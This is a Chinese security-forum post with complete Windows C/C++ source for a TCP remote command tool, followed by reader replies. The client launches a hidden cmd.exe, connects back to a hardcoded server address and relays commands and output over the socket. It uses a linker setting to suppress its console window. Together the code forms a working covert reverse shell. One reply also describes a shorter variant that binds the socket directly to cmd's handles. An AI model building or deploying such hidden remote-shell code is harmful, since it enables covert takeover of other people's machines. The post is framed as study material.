首页
社区
课程
招聘
[原创]windows C/C++ SOCKET-TCP 远程CMD命令执行
2021-7-4 21:26 12180

[原创]windows C/C++ SOCKET-TCP 远程CMD命令执行

2021-7-4 21:26
12180

1、背景

远程cmd命令执行,字面意思就是在一台机器上面,远程发送cmd命令到另一台机器上执行。

 

关于远程cmd命令执行,师傅们在网上各显神通,有msf和cobalt strike的,还有wmi等等的,关于powershell,微软在7.1版本及之后也开始支持了更多花式远程操作

 

windows远程执行cmd命令的各方式2ed-CSDN博客远程cmd

 

运行远程命令 - PowerShell | Microsoft Docs

 

在此,结合结合windows C语言网络基础编程知识,手动用TCP实现了一个client-server的远程cmd程序。

 

思路如下:

2、服务器server端

服务器端只需要负责发送cmd命令到客户端执行,同时接收客户端的执行输出结果。在这里由于客户端和服务器端都是在windows上进行开发测试,也只同时上线一个客户端,就采用了开启一个子线程专门负责接收返回结果。如果是上线多个客户端,可以采用select模型,或者在linux上也可以采取poll和epoll去处理多个客户端的问题。

 

服务器端源代码,tcp-socket通信部分,参考《C++黑客编程揭秘与防范》(第三版)2.2.1节,增加单独启用线程接受返回数据的代码即可。源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <WS2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <iostream>
 
#pragma comment(lib, "ws2_32.lib")
 
char recvClientBuf[0x4000];
 
VOID recvClientMsg(SOCKET* s)
{
    while (true)
    {
        memset(recvClientBuf, 0, 0x4000);
        int recvLength = recv(*s, recvClientBuf, 0x4000, 0);
        if (recvLength > 0)
        {
            printf("%s", recvClientBuf);
        }
        else
        {
            printf("remote cmd exit!\n");
            return;
        }
    }
}
 
VOID testSocketCmd()
{
    WSADATA wsaData;
    int ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
 
    SOCKET server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    struct sockaddr_in ServerAddr;
    ServerAddr.sin_family = AF_INET;
    inet_pton(AF_INET, "192.168.0.1", &ServerAddr.sin_addr);
    ServerAddr.sin_port = htons(7788);
 
    if (SOCKET_ERROR == bind(server, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr)))
    {
        int a = WSAGetLastError();
        closesocket(server);
        WSACleanup();
        printf("bind error %d\n", a);
        exit(0);
    }
    if (SOCKET_ERROR == listen(server, SOMAXCONN))
    {
        int a = WSAGetLastError();
        closesocket(server);
        WSACleanup();
        printf("listen error\n");
        exit(0);
    }
    SOCKET client = accept(server, NULL, NULL);
 
    sockaddr_in sockClient;
    int len = sizeof(sockClient);
    getpeername(client, (struct sockaddr*)&sockClient, &len);
 
    char ip[INET_ADDRSTRLEN] = { 0 };
    inet_ntop(AF_INET, &sockClient.sin_addr, ip, sizeof(ip));
 
    printf("client is %s\n", ip);
 
    HANDLE hRecvThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)recvClientMsg, &client, 0, NULL);
    if (hRecvThread == NULL)
    {
        return;
    }
 
    char sendBuffer[1024];
    while (true)
    {
        if (WAIT_OBJECT_0 == WaitForSingleObject(hRecvThread, 0))
        {
            printf("thread cmd exit\n");
            break;
        }
        memset(sendBuffer, 0, 1024);
        gets_s(sendBuffer, 1024);
        send(client, sendBuffer, strlen(sendBuffer), 0);
        Sleep(0.5 * 1000);
 
    }
 
    closesocket(client);
    closesocket(server);
    WSACleanup();
}
 
 
 
int main()
{
 
    testSocketCmd();
 
    return 0;
}

程序各个部分的功能,在参考书籍中都有清晰的讲解,这里补充说明一下buffer大小和循环读取,及输入设计。

 

buffer大小设置为0x4000是因为不同命令的返回结果大小也是不一样的,同时为了后续添加其他扩展功能,设置了这么大,大小可以根据需要做具体的调整。

 

这里发送和接受使用的是同一个socket通信,这就相当于读写数据用的是同一根管道,只有有数据被写入,那么就可以随时读,所以设计了一个while循环去不断的读,而写数据的话,由于已经有一个输入的接口了,那就直接无限写即可,这种方式的读和写是不冲突的,至少现在测试来看,他没有发送这种读写的错误。

3、客户端Client

这里同样参考自《C++黑客编程揭秘与防范》(第三版)这本书,除了它的2.2.1节外,还参考了8.1.7节,采用匿名管道技术,创建一个cmd子进程,然后单独启动一根线程读取cmd的输出并发送至服务器端。主线程则负责接受服务器端发送来的cmd命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#include <WS2tcpip.h>
#include <Windows.h>
#include <stdio.h>
 
#pragma comment(lib, "ws2_32.lib")
 
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
 
typedef struct send_to_server
{
    HANDLE hParentRead;
    SOCKET s;
    char readBuffer[0x4000];
}SEND_TO_SERVER, * PSEND_TO_SERVER;
 
 
 
VOID readCmdOutPut(PSEND_TO_SERVER pSts)
{
    DWORD dwReadSize = 0;
    do
    {
        memset(pSts->readBuffer, 0, 0x4000);
        dwReadSize = 0;
        BOOL bRet = PeekNamedPipe(pSts->hParentRead, pSts->readBuffer, 0x4000, &dwReadSize, NULL, NULL);
 
        if (dwReadSize > 0)
        {
            bRet = ReadFile(pSts->hParentRead, pSts->readBuffer, 0x4000, &dwReadSize, NULL);
            send(pSts->s, pSts->readBuffer, strlen(pSts->readBuffer), 0);
        }
        else
        {
 
            Sleep(0.5 * 1000);
        }
 
    } while (TRUE);
}
 
VOID cmd_pipe(SOCKET s)
{
    HANDLE hParentRead, hParentWrite, hChildRead, hChildWrite;
 
    STARTUPINFOA si = { 0 };
    si.cb = sizeof(si);
    PROCESS_INFORMATION pi = { 0 };
 
    DWORD dwWriteBytes = 0;
    DWORD dwReadBytes = 0;
 
    DWORD dwBytesRead = 0;
    DWORD dwTotalBytesAvail = 0;
    DWORD dwBytesLeftThisMessage = 0;
 
    SECURITY_ATTRIBUTES sa = { 0 };
    sa.lpSecurityDescriptor = 0;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
 
    BOOL bRet = CreatePipe(&hParentRead, &hChildWrite, &sa, 1024);
 
    bRet = CreatePipe(&hChildRead, &hParentWrite, &sa, 1024);
 
    GetStartupInfoA(&si);
    si.hStdInput = hChildRead;
    si.hStdError = si.hStdOutput = hChildWrite;
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
 
    char cmd[MAX_PATH] = { 0 };
    GetSystemDirectoryA(cmd, sizeof(cmd));
    strcat_s(cmd, "\\cmd.exe");
    LPSTR lpApplicationName = (LPSTR)"cmd.exe\r\n";
    bRet = CreateProcessA(cmd, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
 
    Sleep(1 * 1000);
 
 
    PSEND_TO_SERVER pSts = (PSEND_TO_SERVER)calloc(1, sizeof(SEND_TO_SERVER));
    if (pSts == NULL)
    {
        return;
    }
    pSts->hParentRead = hParentRead;
    pSts->s = s;
 
    HANDLE hReadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)readCmdOutPut, pSts, 0, NULL);
 
    char szBuffer[1025];
    do
    {
        memset(szBuffer, 0, 1025);
        int recvLen = recv(s, szBuffer, 1024, 0);
        if (recvLen > 0)
        {
            strcat_s(szBuffer, "\r\n");
            WriteFile(hParentWrite, szBuffer, strlen(szBuffer), &dwWriteBytes, 0);
            Sleep(0.5 * 1000);
        }
        else
        {
            // printf("server exit\n");
            free(pSts);
            break;
        }
 
        if (WAIT_OBJECT_0 == WaitForSingleObject(pi.hProcess, 0))
        {
            send(s, "cmd exit\n", strlen("cmd exit\n"), 0);
            free(pSts);
            break;
        }
 
 
    } while (true);
 
 
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
 
    CloseHandle(hParentRead);
    CloseHandle(hParentWrite);
    CloseHandle(hChildRead);
    CloseHandle(hChildWrite);
 
}
 
 
int main()
{
 
    WSADATA wsaData;
    int ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
 
    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    struct sockaddr_in ServerAddr;
    ServerAddr.sin_family = AF_INET;
    inet_pton(AF_INET, "192.168.0.1", &ServerAddr.sin_addr);
    ServerAddr.sin_port = htons(7788);
    connect(s, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));
    Sleep(100);
 
    cmd_pipe(s);
 
    closesocket(s);
    WSACleanup();
 
    return 0;
}

这里,#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )语句是告诉编译器,它在运行时不弹出黑框,隐藏窗口,具体参考:Windows 隐藏控制台 - YZFHKMS-X - 博客园 (cnblogs.com)

 

此外,也可以在VS2019(其他编译器方法类似)的编译选项里进行相应的设置,以达到同样的效果

 

如若要运行以上代码进行测试,在客户端输出查看效果,可注释#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )语句进行编译,运行同时打开任务管理器查看进程的变化。


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2021-7-4 23:42 被For@*编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 128
活跃值: (2152)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
powerpcer 2021-7-5 23:43
2
0
github.com/terrylao/WinCat 
windows 版的netcat. 
雪    币: 103
活跃值: (1708)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
TeLeMan 1 2021-7-6 08:44
3
1
调用cmd搞复杂了,只要把si.hStdInput, si.hStdOutput, si.hStdError设置成socket的handle,CreateProcess后就可以远程执行cmd命令了,完全不需要pipe中转。
雪    币: 837
活跃值: (1222)
能力值: ( LV7,RANK:118 )
在线值:
发帖
回帖
粉丝
For@* 2021-7-6 13:44
4
0
TeLeMan 调用cmd搞复杂了,只要把si.hStdInput, si.hStdOutput, si.hStdError设置成socket的handle,CreateProcess后就可以远程执行cmd命令了,完 ...
这确实可以,但后面进行功能扩展的时候,可能就有点吃力了,pipe设计主要是为了后续作为一个单独的小模块来使用的
游客
登录 | 注册 方可回帖
返回